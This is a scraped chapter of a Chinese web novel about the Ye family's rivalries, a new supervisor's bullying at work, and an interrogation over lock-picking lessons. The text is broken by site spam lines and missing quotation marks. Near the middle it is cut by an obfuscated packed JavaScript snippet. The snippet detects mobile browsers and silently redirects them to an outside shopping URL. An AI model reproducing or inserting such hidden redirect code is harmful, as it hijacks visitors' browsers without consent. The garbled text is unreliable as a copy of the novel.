默认冷灰
24号文字
方正启体

第30章

作者:四单铺本书字数:K更新时间:
    是夜,承和居三楼的大阳台上杨品娴坐在月光下乘凉。


    对面是一片漆黑的银蛇山。


    旁边小茶几上放着的收音机正在播放经典歌曲。


    “妈你怎么一个人坐这里?”


    叶宝翎走过来。


    杨品娴回过头,笑道:“空调房里待太久了出来呼吸一下新鲜空气。你吃饭了吗?”


    “在我外婆家吃过了。”


    杨品娴把收音机的音量调小了,说:“你每天这样奔波多累啊还不如下班后直接回来周末再去你外婆那边。你喜欢吃什么菜跟我说,我去吩咐厨房给你做。你要是想清静也可以在自己房间用餐的。家里没那么多规矩你也不用局促。”


    叶宝翎暂时不想改变她拉开椅子坐下,“我跟我表妹一起下班回去,也很方便。”


    杨品娴不敢勉强:“你舒服自在就好。”


    她指了指桌上的龙眼和葡萄,“吃点水果。”


    叶宝翎也没客气拈了一小串葡萄吃起来。


    “葡萄很甜,妈你吃一个这个连皮吃也好吃。”


    她摘了个葡萄直接递到婆婆的嘴边。


    杨品娴从没跟女儿之外的人这么亲密过,但这是亲儿媳递来的她不好拒绝只好张嘴吃了。


    吃完心里甜滋滋的,心情也好了。


    “每天葡萄放在桌上我从来没想过要吃。没想到味道这般好。”


    “妈你平时为什么不吃?”


    杨品娴除了对自己的孩子似乎对其他所有事务都不好奇不关心没有物欲,也没有多少食欲。


    她婚后的人生非常无趣。


    杨品娴笑着找了个借口:“想不起来吃。”


    叶宝翎笑道:“我坐下就想吃东西。”


    “我年轻的时候也这样。”


    是什么把她变成这个样子呢?


    可能是因为嫁了个不爱自己的男人吧。


    杨品娴没办法跟旁人说心事只问:“怀章还没回来吗?”


    “没看见他大概还在忙吧。他最近因为大鹏港口的事晚上都睡不着。”


    杨品娴自然知道:“可惜我帮不上忙。”


    叶宝翎叹息:“我也帮不上。我倒是想去帮他劝嫲嫲但这种大事我说了嫲嫲也不会听我的。”


    杨品娴没想到儿子会跟叶宝翎诉说工作上的烦恼


    “老太太最疼的就是怀章如果怀章劝她都没用的话其他人劝也不会有效。所以我都不敢劝半句劝了也不会有结果……免得她老人家误会我多管闲事。”


    叶宝翎略一思忖:“其实有一个人说的话嫲嫲肯定会听。”


    杨品娴


    你的朋友正在书荒,快去帮帮他吧


    看过来:“谁啊?


    “童婆。


    杨品娴认真思量着,好像还真是。


    叶宝翎把自己的想法跟杨品娴细说了一遍。


    平时都是杨品娴跟童婆联系的多,杨品娴有点担心:“让童婆配合不难,给足够的香油钱,这又是好事,她应该会答应。我就担心,万一被老太太发现了,怎么办?


    老太太鬼精鬼精的。


    杨品娴怕她婆婆。


    叶宝翎:“按照我策划的去说,应该没问题。到时候我提前跟童婆沟通,


    “那我周末把童婆请过来。


    定下来后,叶宝翎笑问杨品娴:“妈你不怕怀章这笔投资最后亏了呀?


    “不怕。我相信他。而且投资部现在能动用的资金,都是怀章在海外赚的,就算亏了,也不应该说他什么。


    叶怀章真幸福,有这么疼爱信任他的母亲。


    叶宝翎点头:“我也相信他不会亏。


    杨品娴眉眼一弯,笑道:“看你们感情这么好,妈妈真高兴。


    正说着,叶咏琪来了。


    “哇。你们两个躲这里聊天也不叫我。


    杨品娴疼爱地拉过女儿的手,“你手怎么那么凉?


    “刚喝了冰。


    “不能喝太多冰水,对脾胃不好的。杨品娴忍不住念叨。


    叶咏琪赶紧岔开话题,“翎姐,周末去逛街吗?


    周末要宴请童婆呢,不过现在还没办法确定具体时间,叶宝翎笑道:“可以啊,到时候看周六还是周天,有空了我们随时出发。


    聊到差不多10点,大家才散了。


    叶宝翎上床睡觉的时候,叶怀章还没回来。


    第二天清早醒来,他已经起床,在盥洗室刷牙。


    看样子是要准备出去。


    叶宝翎走过去问他,“你这两天怎么那么忙?


    “德国的一个项目要签约了,会忙一阵。他看了她一眼,问:“你那个伤好了吗?


    哪个伤?


    叶宝翎反应过来,“早好了。


    伤好了,本来是很稀松平常的一句话。


    但现在加了一个“早字,那就是有催促的意思?


    七天两次,该是第二次的时候了。


    他明白他这个丈夫的义务尽得不太好,便说:“今晚我尽量早点回来。


    叶宝翎才无所谓他回来的是早还是晚,她又不是他妈。


    情商如她这般高的人当然不会说实话,“嗯,你早点回。


    果然是催促。


    叶怀章瞥了眼妻子,没再说什么。


    她打了个呵欠,走过来也挤上了牙膏,两人并排站在镜子前刷牙。


    刷着刷着,她忽然觉得怪怪的,他们两个什么时候这么熟悉了。


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    幸好叶怀章很快刷完已经走了出去。


    他换好衣服打着领带走过来“龚嘉华如果再找你你告诉我我去跟他说你是我老婆。”


    “别啊万一他嘴巴守不住秘密呢?”


    “生米煮成熟饭了你还怕你爷爷和你爸?他们要是反对我就断供南非钻石给苏满珠宝。”原来他早就想好了拿捏他们的办法。


    叶宝翎不担心跟老长房断绝关系她担心的是她拿不到丑王玦。


    “我不想现在让他们知道。”


    “为什么不想?我丢你的人了?”叶怀章不能理解。


    叶宝翎撒了谎:“我想先跟他们修复好关系再去说。”


    “能给你下药逼你嫁吕天佑的家人有修复关系的必要吗?”


    “我的事你别管。”


    “……”叶怀章很无语微微张嘴想说什么最后还是忍住没说。


    叶宝翎不放心:“你千万别跟龚嘉华坦白。反正我已经跟他说我有男朋友了希望他能知难而退吧。”


    “知道了。”


    他没再说什么打好领带就先出去了。


    办公室里为了安抚元叔梅姐他们炒股亏了钱的小创伤王思敏特意买了点心来请他们。


    她给叶宝翎也准备了一份。


    叶宝翎吃过早餐了吃不下便给了刘皓南。


    刘皓南帮她操盘炒股赚了一千多万他个人抽佣33万能抵普通人七八年工资了但他低调颓废的样子完全不像是刚赚了大钱的人。


    元叔还调侃他:“我亏了差不多一千阿南你亏了多少?”


    梅姐也看过来。


    同是炒股亏钱人看别人比自己亏得多心情能好点。


    刘皓南打了个呵欠:“没亏钱。”


    元叔和梅姐都笑了他们不信只道他是嘴硬。


    肯定是亏太多了不好意思说。


    叶宝翎忙着打字发传真忙活了一上午都没时间跟大家聊天。


    临近中午的时候齐毓秀来了。


    她轻轻拍了拍手“都停一下手头上的工作。”


    叶宝翎抬头看去发现她身后站着一个西装革履的年轻男子。


    “这是我们后勤部新上任的主管张来迟大家欢迎一下。”


    众人纷纷鼓掌欢迎。


    张来迟三十岁上下长得油头粉面的他笑着跟大家打招呼态度看上去很谦卑“我刚加入叶清堂以后还请大家多多指教。”


    随即张来迟详细介绍了自己“亮眼”的履历他大学预科毕业在多家大公司工作过……


    最后还不忘立威:“在我手下做事


    你的朋友正在书荒,快去帮帮他吧


    薪资,做不好的,也不要怪我不讲人情。做得好的,我肯定会给你们机会,跟齐经理申请升职加薪。”


    众人又是一番鼓掌,王思敏边鼓掌边回头跟叶宝翎互相看了一眼。


    等领导们进了办公室,王思敏小声跟她说:“一边想要压制我们,一边拍齐经理马屁,不是善茬。”


    叶宝翎深以为然。


    果然,没过多久,张来迟就把叶宝翎叫进了办公室。


    “中四毕业,入职不到一个月,还没过试用期,是吧?”


    “是的。”


    “现在主要负责哪些工作?”


    “打字、复印、传真,还有帮其他老员工做他们忙不过来的事。”


    张来迟点了点头,“也就是……打杂?”


    叶宝翎礼貌一笑:“你可以这么认为。”


    “你这样很难通过试用期考核,我给你重新安排工作。”说着张来迟给她递来一个文件夹,“这是保洁科清洁人员名单以及公司各楼层洗手间分布图,从今天开始,你负责整栋玉龙大厦的保洁工作。”


    叶宝翎没想到新工作那么快砸过来:“我一个人负责?这不是梅姐和阿广的工作吗?”


    “内容不复杂,你只需要盯紧保洁科干活就行。但是,一定要确保,公司各部门的地面无垃圾、桌面无纸屑、厕所不堵塞……”


    这是故意刁难她啊。


    齐毓秀那个老狐狸不方便动手,让底下新来的马仔来收拾她。


    所以,接下来的工作,无论她怎么做,做得再好,他们也能鸡蛋里挑骨头,不会轻易让她过试用期的。


    叶宝翎笑道:“张主管,公司那么多部门,那么多人,没人能保证地面无垃圾,桌面无纸屑,厕所不堵塞。我只能按照公司的标准去做事。保洁有保洁的标准,公司的标准,我肯定会努力完成。但您和齐经理心里的标准是什么,我希望不是这么笼统而绝对的,最好有细化的指标。”


    细化指标?


    显然张来迟没有考虑过这个问题,他也没想到,一个中四毕业的人,能说出这么专业的名次。


    叶宝翎脸色依然带着笑意:“不知道什么是细化指标?那还是拿刚才张主管举的例子来打比方。例如,地面出现垃圾多长时间内要处理;厕所堵塞要不要分级,哪类型的堵塞要用多长时间处理好;桌面纸屑在上班期间是不是应该归员工自己处理,下班后才归保洁打扫清理……所有这些工作,既然要作为考核的标准,那就要拿出细化的指标来。要不然,最后闹出劳资**,去了劳工处,你们总不能说,谁谁谁不能过试用期,只是因为不符合你们心中的标准吧?”


    好伶牙俐齿!


    张来迟瞬间感受到无形的压


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    力顶在脑袋上,他冷笑了一声:“劳资**?你想要挟我?


    叶宝翎装傻:“啊?张主管,我们不是在谈工作分工吗?你这样说话,我压力很大。


    真会阴阳怪气,张来迟沉下脸:“现在让你负责保洁工作,你接不接受安排?


    “我接受安排,但前提是,我按照公司现有标准工作,而不是,按照领导心情工作。因为我没办法保证,在这么多人同时上班的公司里,确保地面时时无垃圾、桌面时时无纸屑、厕所永不堵塞,除非公司无人上班。如果不按照公司现有标准,烦请张主管拿出细化指标来规范我们的工作。


    他说一句,她能巴拉巴拉说四五六七句,还句句在理,无法反驳。


    张来迟终于明白,为什么齐经理自己不亲自动手解决她。


    这就是个硬茬。


    他尴尬笑了笑,“行,我知道了,我先来规范指标。


    大概半小时后,张来迟吭哧吭哧把指标细化做出来后,又把她叫了进去。


    叶宝翎详细看了指标后,道:“张主管,你这份指标我可以去执行。


    那就好。


    张来迟松了口气。


    他多怕自己第一项工作,就被一个中四毕业的女人给绊了一跤。


    可下一句,就听她话锋一转,“但你要给我加派人手,多招聘至少30个以上的清洁工。另外还要增加疏通厕所的师傅。


    也就是说,清洁工人比翻倍还多。


    “为什么要加派那么多人手?


    “地面垃圾不能超过3分钟,厕所堵塞不能超过5分钟,单这两条比白宫还严苛的要求,以目前人手是没办法办到的。现有情况是一个保洁管2层楼,厕所堵塞一般情况下是保洁自己处理,处理不来才请外面的通厕师傅。要想实现您的理想状态,那每层的清洁工人就至少要增加2人,这才能确保,每三分钟有人能巡视一遍公司。而通厕所的师傅更没时间请外面的人,5分钟,还不够别人赶过来的,30层楼几十个厕所,要单独请一班通厕师傅全天候等待才OK。叶宝翎把标准清单递回去,“我建议张主管先跟人事部沟通好增加岗位的安排,我们再来执行。


    张来迟恼火了,“这个工作你如果干不来,可以辞职。


    “不是我不能,是谁都不能。我进来之前,在你办公室门口丢了两个纸团,我进来有10分钟了。叶宝翎把办公室门打开,果然两个纸团乖乖地呆在门口。


    “你看!请问张主管,10分钟了都没人来扫走这个垃圾,要不要处理现在负责保洁工作的部门同事?


    张来迟:“……


    “半个小时前,我在部门办公室外也丢了两个纸


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    团,你要不要去看看,半个小时过去了,那两个纸团会不会还在?”


    不等张来迟反馈,叶宝翎已对外唤了一声,“思敏,门口的两个纸团还在吗?”


    很快,跟她打配合的王思敏吆喝了一声:“还在。”


    张来迟:“……”


    把办公室门关上,叶宝翎回到原来的位置上站着,“张主管,保洁的负责工作,还安排给我吗?”


    张来迟忍着气没发作,他不能让齐毓秀误会他这么小的事都做不好。


    他站起身,单手叉腰,“还是你负责,按照现在的标准执行就行。我不是针对你个人,我只是希望提高标准,让领导看到你的能力。”


    “谢谢张主管,我一定好好工作,不让你失望。”叶宝翎一脸标准的微笑。


    张来迟气得半死,还不得不保持笑容。


    从主管室出来,叶宝翎也犯愁了,以后她要楼上楼下乱窜,难保不会被叶家人撞见,怎么办?


    她得想想办法。


    叶家老长房大宅里,叶琦祖今天难得没出门,他在书房跟叶恺申对工作的事。


    苏满珠宝公布业绩后,股价一泻千里。


    叶恺申说:“英保证券的基金,在趁机出货,我们准备的资金接不过来。”


    叶琦祖知道叶恺申是想投诉叶恺民趁火**,不顾公司股价,肥了自己腰包。


    叶琦祖提前跟叶恺民打过招呼都不管用,他心里憋着火,却也不想当着侄儿的面指责自己儿子。


    “业绩不好才是关键!”


    叶恺申解释:“这两年邹生生和老三房的格致珠宝都在抢占我们的市场份额,能保持住现在的业绩已经是尽了最大的努力……”


    面对节节败退的业绩,叶琦祖很是担忧,“我们上百年的老字号,输给人家新开才几年的店,我们的脸面都不知道往哪儿搁了。”


    叶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016200|194187||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恺申:“老三房这个叶怀章,不懂规矩,那么多生意不做,偏要开珠宝店跟我们抢份额,输给他,我确实不服气。”


    “不服气有什么用?市场是开放的,生意谁都能做。人家叶怀章买了钻石矿,还能便宜给我们供货就很不错了。”


    确实如此。


    叶恺申仍然不忿,“下半年我们想想办法,看看能不能扭转局面。”


    聊完工作,等叶恺申出去,叶恺斯夫妇进来了。


    见夫妻俩进来后别别扭扭的,似乎有矛盾,叶琦祖略有些不耐烦地问:“怎么了?”


    梁美云扯叶恺斯的衣服,“你说。”


    叶恺斯这才道:“爸生日那天晚上,有人看见宝翎和一个男的,大半夜从后花园溜出去了。”


    叶琦祖皱起眉头:“什么意思?”


    梁美云:“我们


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    怀疑,是宝翎和别人把宝顺送进吕天佑房间的。”


    “打住!”叶琦祖冷冷瞥了儿媳一眼,他讨厌女人在他面前越过自家丈夫跟他说话,“叶恺斯你说。”


    叶恺斯:“今天早上,美云听见底下佣人在私下讨论,你生日那天晚上,有人看见了一个背影好像是宝翎的人,和一个男的偷偷从西侧的楼梯下楼后,从后花园溜走了。”


    “好像是?”叶琦祖摆手,“你这种没有真凭实据的揣测,不要来跟我说。”


    上次误伤宝顺的事,他已经够生气了。


    最近苏满珠宝股价跌成这个样子,他烦躁的很。


    “如果你们进来就为了这件没证没据的事,你们不要再说了,都出去吧。”


    梁美云心底怨气难填,但她不敢直接怼老爷子,最后没办法,只能跟着丈夫出去。


    等书房安静下来,叶琦祖抬头,看向他的随从阿兴,“那天宝翎是怎么离开的?”


    兴叔:“大小姐第二天早上回来找手链,我记得她说她是坐计程车回的顾家。”


    叶琦祖又问:“当晚有人看见她离开吗?”


    兴叔摇头:“没有。大小姐离开的时间点比较晚了,当时门口应该是有人守着的,但没人看见大小姐离开。”


    “那天你怎么不说?”


    “我是怕看门的一不留神,大小姐出去了,他没看见。”


    叶琦祖捏着眉心,叹了一声,他又瞥了阿兴一眼,见他欲言又止的,不由问:“还有什么事?”


    兴叔这才把昨天晚上他老婆在盛月楼听到的事跟叶琦祖说了。


    宝翎花钱跟一个飞仔学开锁?


    再联想刚才叶恺斯夫妇投诉的事儿。


    会不会宝翎跟某个关系不一般的飞仔把宝顺抬吕天佑房间的?


    叶琦祖有点坐不住了。


    “你去找那家锁匠调查清楚,究竟是怎么回事。”


    “好,我这就去。”兴叔应声出去了。


    下午五点左右,叶宝翎收到父亲发来的传呼,让她立刻回电话。


    电话回过去,叶恺民让她马上回叶家一趟。


    听语气,叶宝翎觉得事情不太妙。


    下班时间一到,叶宝翎先回顾家,跟伟仔强详聊之后,才带着陈玉兰回了老长房。


    有陈玉兰在身边,她安心一点。


    熙和堂三楼老爷子的书房里,一溜眼看过去,坐了五六个人。


    除了爷爷父亲,还有二叔二婶。


    叶宝翎一眼看到了坐在边边上的林记五金店老板——开锁佬林师傅。


    林师傅看见她,忙站了起身。


    “是她吗?”叶恺民问。


    林师傅连连点头,不知道该不该笑好,他说:“是……是这位小姐。”


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    叶琦祖吩咐:“请这位师傅先出去吧。”


    兴叔要把林师傅带出去。


    叶宝翎却伸手拦下:“林师傅,你先别出去。现在还需要你在场。”


    林师傅顿在原处,进退两难了。


    叶恺民先发难:“你学开锁干什么?花一千五学开锁,你很有钱啊?”


    “不是我学的。”


    “不是你学的?那谁学的?”


    “这得问问开锁师傅了。”叶宝翎走到林师傅跟前,“林师傅,我学会开锁了吗?”


    林师傅有点懵,他摇头:“你没学会。”


    “谁学会了?”


    他老实回道:“那个男的。”


    “听见了吗?是那个男的学开锁,不是我。”


    众人有点懵,都想知道究竟是怎么回事?


    梁美云手肘碰了碰她男人,叶恺斯忙质问:“但林师傅说,是你去学,你给的钱。”


    叶恺民同时问:“那男的是谁?”


    “他是我外婆家的邻居,跟我一起长大的伟仔强。昨天他让我帮忙,假装是我要学开锁,实际上是他想学,他提前把学开锁的钱给了我,我在现场随便学了一下,没学会,自然而然他就顶替我学,然后他如愿学会了。”


    林师傅恍然大悟:“原来是那男的要学啊?难怪了。我就说大小姐看着不像要学开锁的。”


    叶恺民心底松了口气,他多怕女儿连累自己。


    但在家人面前,叶恺民不能表现出来,只继续追问:“那个伟仔强学开锁干什么?”


    叶宝翎对开锁佬说:“林师傅,你可以先出去了。”


    还想留下来吃瓜的林师傅,这才依依不舍地离开。


    “那个姓陈的,为什么要学开锁?”叶恺民又问了一遍。


    叶宝翎摇头:“我不清楚,他是在堂口做事,我不方便多问。你们想知道,可以自己去问他。”


    叶恺民:“他为什么要找你帮忙?”


    叶宝翎:“他说我看着像有钱人,给钱那么大方,开锁佬不会怀疑,而且他还给我报酬,我没理由不帮?”


    “他能给你多少报酬?你缺这点钱?”


    “缺。”


    “银行卡不是在你手里吗?”


    “穷惯了。见钱眼开。”


    “!!!”


    来一句顶一句,叶恺民要气死去。


    但起码不是她学的开锁。


    叶恺民回头看向父亲。


    始终没说话的叶琦祖依然保持沉默。


    梁美云忍不住了,她问:“宝翎,你爷爷生日那天晚上,你和宝顺他们几个打桌球不是打到快十一点吗?后来你是怎么回去的?”


    “坐计程车。之前你们就问过。又怎么了?”


    梁美云:“但是当时大门口有人值班送客,没人看见你离开。”


    众人都看过来,叶宝翎脸不红心不跳地说:“一起打桌球的还有叶怀章,我坐他车离开的……”


    这就互相矛盾了!


    梁美云马上问:“你不是坐计程车回顾家的吗?”


    “是啊,叶怀章小气得很,他说他有事,只能送我到路口,后来我自己打车回去的。不信你们打电话问他。”叶宝翎满脸无辜,“伟仔强和叶怀章,你们都可以去问。”


    那两人她都对好口供了,不怕问。


    说完,叶宝翎大声吐槽:“审贼啊?家里丢东西了?怎么就问我一个呢?我长得像贼?”


    叶琦祖终于说话了,“没人说你像贼。”


    “爷爷,你就偏心吧!”


    “谁偏心了?!”偏心的人最怕被人说自己偏心。


    叶琦祖辩白多少次了,他没偏心。


    “你花几百万给宝顺买豪车赛马,我有什么?我爸说,你重男轻女且偏心!”


    叶恺民:“!!!”


    他没想到女儿真把他给卖了。


    而叶琦祖瞬间绿了脸。


    梁美云想插嘴插不上话,今天这审判的走向,甚是诡异。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)